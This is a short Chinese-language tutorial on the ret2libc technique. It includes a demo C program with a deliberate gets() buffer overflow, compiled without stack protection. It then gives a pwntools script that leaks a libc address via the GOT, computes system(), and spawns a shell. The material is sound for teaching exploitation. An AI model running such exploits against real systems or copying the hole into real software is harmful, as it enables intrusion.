ret2libc
libc,C函数库
泄露libc函数地址的条件:
1.有输出函数(puts,printf,write等)
2.将参数设置为某函数got表地址
执行后就会打印got表的内容。got表中每个函数的偏移,只要用获得的地址减去偏移就可以得到基地址,再通过加上偏移,即可实现任意调用libc中的任意函数。
通过真实的函数地址的后三位可以通过https://libc.blukat.me/知道libc的版本,从而知道其他函数如system的地址偏移。
payload=‘a'*offset + p32(返回地址1,或函数A的地址) + p32(返回地址2) + 函数A的参数列表(1,2,3.......)
如果返回地址1是一个函数的入口地址,如printf@plt,那么紧接着应该接一个返回地址,因为此时的ret指令已经相当于call指令了,栈中需要一个该函数的返回地址,也就是该函数执行结束后返回的位置,即是返回地址2。
举个demo:
实验代码:
#include<stdio.h> void task() { char buf[5]={0}; gets(buf); } void main() { write(1,"hello",5); task(); }
gcc -no-pie -fno-stack-protector -m32 -o ret2libc ret2libc1_32.c //ASLMR = 1
关闭canary保护和pie保护
from pwn import * context(arch="i386",os="linux") p=process("./ret2libc") e=ELF("./ret2libc") offset=17 write_plt = e.plt["write"] gets_got = e.got["gets"] task_addr = e.symbols["task"] //找函数找变量 payload1=offset*'a'+ p32(write_plt) + p32(task_addr) + p32(1) + p32(gets_got) + p32(4) //为了2次返回 p.sendlineafter("hello",payload1) gets_addr = u32(p.recv()) libc=ELF("/lib32/libc.so.6") libc_base = gets_addr - libc.symbols["gets"] system_addr = libc_base+libc.symbols["system"] sh_addr = libc_base+libc.search("/bin/bash").next() //search函数会找到多个值而返回多个,用next()取第一个就行。 payload2='a'*offset + p32(system_addr) + p32(0) + p32(sh_addr) //p32(0)是因为执行system后返回到哪都无所谓,因为不打算返回 p.sendline(payload2) p.interactive()